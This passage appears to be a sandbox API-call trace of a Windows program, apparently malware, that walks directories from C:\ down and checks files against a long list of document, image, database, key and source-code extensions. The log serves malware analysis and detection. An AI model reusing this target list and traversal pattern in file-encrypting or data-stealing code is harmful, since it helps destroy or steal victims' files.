lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0062.308] lstrlenW (lpString=".jp2") returned 4 [0062.308] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0062.308] lstrlenW (lpString=".jpc") returned 4 [0062.308] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0062.308] lstrlenW (lpString=".jpe") returned 4 [0062.308] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0062.308] lstrlenW (lpString=".jpeg") returned 5 [0062.308] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0062.308] lstrlenW (lpString=".jpf") returned 4 [0062.308] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0062.308] lstrlenW (lpString=".jpg") returned 4 [0062.308] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0062.308] lstrlenW (lpString=".jpx") returned 4 [0062.308] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0062.308] lstrlenW (lpString=".js") returned 3 [0062.308] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0062.308] lstrlenW (lpString=".jsf") returned 4 [0062.308] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0062.308] lstrlenW (lpString=".json") returned 5 [0062.308] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0062.308] lstrlenW (lpString=".jsp") returned 4 [0062.308] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0062.308] lstrlenW (lpString=".kdc") returned 4 [0062.308] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0062.308] lstrlenW (lpString=".kmz") returned 4 [0062.308] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0062.308] lstrlenW (lpString=".kwm") returned 4 [0062.308] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0062.308] lstrlenW (lpString=".lasso") returned 6 [0062.308] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0062.308] lstrlenW (lpString=".lbi") returned 4 [0062.309] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0062.309] lstrlenW (lpString=".lgf") returned 4 [0062.309] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0062.309] lstrlenW (lpString=".lgp") returned 4 [0062.309] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0062.309] lstrlenW (lpString=".log") returned 4 [0062.309] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0062.309] lstrlenW (lpString=".m1v") returned 4 [0062.309] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0062.309] lstrlenW (lpString=".m4a") returned 4 [0062.309] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0062.309] lstrlenW (lpString=".m4v") returned 4 [0062.309] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0062.309] lstrlenW (lpString=".max") returned 4 [0062.309] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0062.309] lstrlenW (lpString=".md") returned 3 [0062.309] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0062.309] lstrlenW (lpString=".mda") returned 4 [0062.309] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0062.309] lstrlenW (lpString=".mdb") returned 4 [0062.309] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0062.309] lstrlenW (lpString=".mde") returned 4 [0062.309] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0062.309] lstrlenW (lpString=".mdf") returned 4 [0062.309] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0062.309] lstrlenW (lpString=".mdw") returned 4 [0062.309] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0062.309] lstrlenW (lpString=".mef") returned 4 [0062.309] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0062.309] lstrlenW (lpString=".mft") returned 4 [0062.309] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0062.309] lstrlenW (lpString=".mfw") returned 4 [0062.309] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0062.309] lstrlenW (lpString=".mht") returned 4 [0062.309] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0062.309] lstrlenW (lpString=".mhtml") returned 6 [0062.310] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0062.310] lstrlenW (lpString=".mka") returned 4 [0062.310] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0062.310] lstrlenW (lpString=".mkidx") returned 6 [0062.310] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0062.310] lstrlenW (lpString=".mkv") returned 4 [0062.310] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0062.310] lstrlenW (lpString=".mos") returned 4 [0062.310] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0062.310] lstrlenW (lpString=".mov") returned 4 [0062.310] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0062.310] lstrlenW (lpString=".mp3") returned 4 [0062.310] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0062.310] lstrlenW (lpString=".mp4") returned 4 [0062.310] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0062.310] lstrlenW (lpString=".mpeg") returned 5 [0062.310] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0062.310] lstrlenW (lpString=".mpg") returned 4 [0062.310] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0062.310] lstrlenW (lpString=".mpv") returned 4 [0062.310] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0062.310] lstrlenW (lpString=".mrw") returned 4 [0062.310] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0062.310] lstrlenW (lpString=".msg") returned 4 [0062.310] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0062.310] lstrlenW (lpString=".mxl") returned 4 [0062.310] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0062.310] lstrlenW (lpString=".myd") returned 4 [0062.310] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0062.310] lstrlenW (lpString=".myi") returned 4 [0062.310] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0062.310] lstrlenW (lpString=".nef") returned 4 [0062.310] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0062.310] lstrlenW (lpString=".nrw") returned 4 [0062.310] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0062.310] lstrlenW (lpString=".obj") returned 4 [0062.311] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0062.311] lstrlenW (lpString=".odb") returned 4 [0062.311] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0062.311] lstrlenW (lpString=".odc") returned 4 [0062.311] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0062.311] lstrlenW (lpString=".odm") returned 4 [0062.311] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0062.311] lstrlenW (lpString=".odp") returned 4 [0062.311] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0062.311] lstrlenW (lpString=".ods") returned 4 [0062.311] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0062.311] lstrlenW (lpString=".oft") returned 4 [0062.311] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0062.311] lstrlenW (lpString=".one") returned 4 [0062.311] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0062.311] lstrlenW (lpString=".onepkg") returned 7 [0062.311] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0062.311] lstrlenW (lpString=".onetoc2") returned 8 [0062.311] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0062.311] lstrlenW (lpString=".opt") returned 4 [0062.311] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0062.311] lstrlenW (lpString=".oqy") returned 4 [0062.311] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0062.311] lstrlenW (lpString=".orf") returned 4 [0062.311] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0062.311] lstrlenW (lpString=".p12") returned 4 [0062.311] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0062.311] lstrlenW (lpString=".p7b") returned 4 [0062.311] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0062.311] lstrlenW (lpString=".p7c") returned 4 [0062.311] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0062.311] lstrlenW (lpString=".pam") returned 4 [0062.311] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0062.311] lstrlenW (lpString=".pbm") returned 4 [0062.311] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0062.311] lstrlenW (lpString=".pct") returned 4 [0062.311] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0062.312] lstrlenW (lpString=".pcx") returned 4 [0062.312] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0062.312] lstrlenW (lpString=".pdd") returned 4 [0062.312] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0062.312] lstrlenW (lpString=".pdf") returned 4 [0062.312] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0062.312] lstrlenW (lpString=".pdp") returned 4 [0062.312] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0062.312] lstrlenW (lpString=".pef") returned 4 [0062.312] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0062.312] lstrlenW (lpString=".pem") returned 4 [0062.312] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0062.312] lstrlenW (lpString=".pff") returned 4 [0062.312] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0062.312] lstrlenW (lpString=".pfm") returned 4 [0062.312] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0062.312] lstrlenW (lpString=".pfx") returned 4 [0062.312] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0062.312] lstrlenW (lpString=".pgm") returned 4 [0062.312] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0062.312] lstrlenW (lpString=".php") returned 4 [0062.312] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0062.312] lstrlenW (lpString=".php3") returned 5 [0062.312] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0062.312] lstrlenW (lpString=".php4") returned 5 [0062.312] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0062.312] lstrlenW (lpString=".php5") returned 5 [0062.312] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0062.312] lstrlenW (lpString=".phtml") returned 6 [0062.312] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0062.312] lstrlenW (lpString=".pict") returned 5 [0062.312] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0062.312] lstrlenW (lpString=".pl") returned 3 [0062.312] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0062.312] lstrlenW (lpString=".pls") returned 4 [0062.312] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0062.313] lstrlenW (lpString=".pm") returned 3 [0062.313] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0062.313] lstrlenW (lpString=".png") returned 4 [0062.313] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0062.313] lstrlenW (lpString=".pnm") returned 4 [0062.313] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0062.313] lstrlenW (lpString=".pot") returned 4 [0062.313] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0062.313] lstrlenW (lpString=".potm") returned 5 [0062.313] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0062.313] lstrlenW (lpString=".potx") returned 5 [0062.313] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0062.313] lstrlenW (lpString=".ppa") returned 4 [0062.313] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0062.313] lstrlenW (lpString=".ppam") returned 5 [0062.313] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0062.313] lstrlenW (lpString=".ppm") returned 4 [0062.313] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0062.313] lstrlenW (lpString=".pps") returned 4 [0062.313] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0062.313] lstrlenW (lpString=".ppsm") returned 5 [0062.313] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0062.313] lstrlenW (lpString=".ppt") returned 4 [0062.313] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0062.313] lstrlenW (lpString=".pptm") returned 5 [0062.313] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0062.313] lstrlenW (lpString=".pptx") returned 5 [0062.313] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0062.313] lstrlenW (lpString=".prn") returned 4 [0062.313] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0062.313] lstrlenW (lpString=".ps") returned 3 [0062.313] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0062.313] lstrlenW (lpString=".psb") returned 4 [0062.313] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0062.313] lstrlenW (lpString=".psd") returned 4 [0062.314] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0062.314] lstrlenW (lpString=".pst") returned 4 [0062.314] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0062.314] lstrlenW (lpString=".ptx") returned 4 [0062.314] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0062.314] lstrlenW (lpString=".pub") returned 4 [0062.314] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0062.314] lstrlenW (lpString=".pwm") returned 4 [0062.314] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0062.314] lstrlenW (lpString=".pxr") returned 4 [0062.314] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0062.314] lstrlenW (lpString=".py") returned 3 [0062.314] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0062.314] lstrlenW (lpString=".qt") returned 3 [0062.314] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0062.314] lstrlenW (lpString=".r3d") returned 4 [0062.314] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0062.314] lstrlenW (lpString=".raf") returned 4 [0062.314] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0062.314] lstrlenW (lpString=".rar") returned 4 [0062.314] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0062.314] lstrlenW (lpString=".raw") returned 4 [0062.314] lstrcmpiW (lpString1=".raw", lpString2=".mui") returned 1 [0062.314] FindClose (in: hFindFile=0x5a6f78 | out: hFindFile=0x5a6f78) returned 1 [0062.314] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x4b0000) returned 1 [0062.314] FindNextFileW (in: hFindFile=0x5a1d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0062.315] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0062.315] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a6f78 [0062.315] FindNextFileW (in: hFindFile=0x5a6f78, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.315] FindNextFileW (in: hFindFile=0x5a6f78, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0062.315] FindClose (in: hFindFile=0x5a6f78 | out: hFindFile=0x5a6f78) returned 1 [0062.315] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x4b0000) returned 1 [0062.315] FindNextFileW (in: hFindFile=0x5a1d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0062.315] FindClose (in: hFindFile=0x5a1d70 | out: hFindFile=0x5a1d70) returned 1 [0062.315] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006c8 | out: hHeap=0x4b0000) returned 1 [0062.315] FindNextFileW (in: hFindFile=0x501028, lpFindFileData=0x33efd00 | out: lpFindFileData=0x33efd00*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0062.316] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006c8 [0062.316] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a6f78 [0062.316] FindNextFileW (in: hFindFile=0x5a6f78, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.316] FindNextFileW (in: hFindFile=0x5a6f78, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0062.316] FindClose (in: hFindFile=0x5a6f78 | out: hFindFile=0x5a6f78) returned 1 [0062.319] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006c8 | out: hHeap=0x4b0000) returned 1 [0062.319] FindNextFileW (in: hFindFile=0x501028, lpFindFileData=0x33efd00 | out: lpFindFileData=0x33efd00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0062.320] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006c8 [0062.320] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="?O\x16")) returned 0xffffffff [0062.320] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006c8 | out: hHeap=0x4b0000) returned 1 [0062.320] FindNextFileW (in: hFindFile=0x501028, lpFindFileData=0x33efd00 | out: lpFindFileData=0x33efd00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xae99ef60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0062.320] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006c8 [0062.320] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*", lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a6f78 [0062.321] FindNextFileW (in: hFindFile=0x5a6f78, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.321] FindNextFileW (in: hFindFile=0x5a6f78, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0062.321] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0062.321] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2d78 [0062.323] FindNextFileW (in: hFindFile=0x5a2d78, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.324] FindNextFileW (in: hFindFile=0x5a2d78, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0062.324] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3eb0048 [0062.326] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef58c | out: lpFindFileData=0x33ef58c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.326] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef58c | out: lpFindFileData=0x33ef58c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0062.827] FindNextFileW (in: hFindFile=0x3ed12e0, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, 